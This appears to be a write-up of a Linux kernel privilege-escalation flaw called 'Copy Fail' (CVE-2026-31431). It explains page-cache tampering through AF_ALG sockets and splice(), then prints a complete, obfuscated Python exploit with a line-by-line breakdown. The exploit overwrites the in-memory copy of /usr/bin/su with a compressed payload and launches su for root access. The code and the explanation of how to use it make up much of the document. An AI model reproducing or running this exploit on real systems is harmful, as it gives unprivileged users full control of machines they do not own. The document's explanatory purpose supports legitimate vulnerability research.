CVE-2026-31431 Copy Fail Exploit

Part 1: Theoretical Concept (How CVE-2026-31431 Works)

Instead of the system constantly fetching files directly from the slow physical hard disk—which wastes a lot of time the Linux system creates a temporary copy of the file inside RAM, known as the Page Cache. This allows the system to execute and read the file almost instantaneously, entirely within RAM.

This process relies on two key functions:

• AF_ALG: Responsible for handling crypto/encryption operations for files and data inside the kernel.

• splice(): Responsible for moving data directly from one memory location to another at extremely high speeds (Zero-Copy).

The exploit manipulates these two functions. When the system attempts to process and execute the file in memory, it encounters injected payload code. Because the Linux Kernel itself handles memory management, it never suspects that a logic flaw or illegal modification took place there.

In summary: The vulnerability tampers with memory to bypass encryption/checks on the target file. It then overwrites specific 4-byte instructions inside memory so that any unprivileged user is instantly granted Root access—with the entire operation executed directly by the Kernel.

Part 2: Exploit Code Analysis

The Exploit Code:

Python

#!/usr/bin/env python3
import os as g, zlib, socket as s

def d(x): return bytes.fromhex(x)

def c(f, t, c):
    a = s.socket(38, 5, 0)
    a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    h = 279
    v = a.setsockopt
    v(h, 1, d('0800010000000010' + '0' * 64))
    v(h, 5, None, 4)
    u, _ = a.accept()
    o = t + 4
    i = d('00')
    u.sendmsg([b"A" * 4 + c], [(h, 3, i * 4), (h, 2, b'\x10' + i * 19), (h, 4, b'\x08' + i * 3)], 32768)
    r, w = g.pipe()
    n = g.splice
    n(f, w, o, offset_src=0)
    n(r, u.fileno(), o)
    try: u.recv(8 + t)
    except: 0

f = g.open("/usr/bin/su", 0)
i = 0
e = zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))

while i < len(e):
    c(f, i, e[i:i+4])
    i += 4

g.system("su")

Line-by-Line Breakdown:

1. e = zlib.decompress(d("78daab77..."))

   This line extracts the compressed hex payload. You can think of this payload as the injection vector designed to grant Root privileges. It converts the hex data into raw bytes so it can be written into RAM to bypass password authentication.

2. a = s.socket(38, 5, 0) , n(f, w, o) , n(r, u.fileno(), o)

   The script opens a read-only handle to the /usr/bin/su binary (the executable responsible for user privilege switching). It sets up an AF_ALG socket (AF_ALG ID = 38) and uses the splice() system call to stream /usr/bin/su memory pages directly into the kernel's crypto engine.

3. Kernel Memory Overwrite:

   Because of the flaw in the kernel's crypto module (algif_aead), the Kernel gets tricked during the operation. Instead of writing the processed output to a normal temporary buffer, it writes the payload directly over the /usr/bin/su binary page stored in RAM (Page Cache).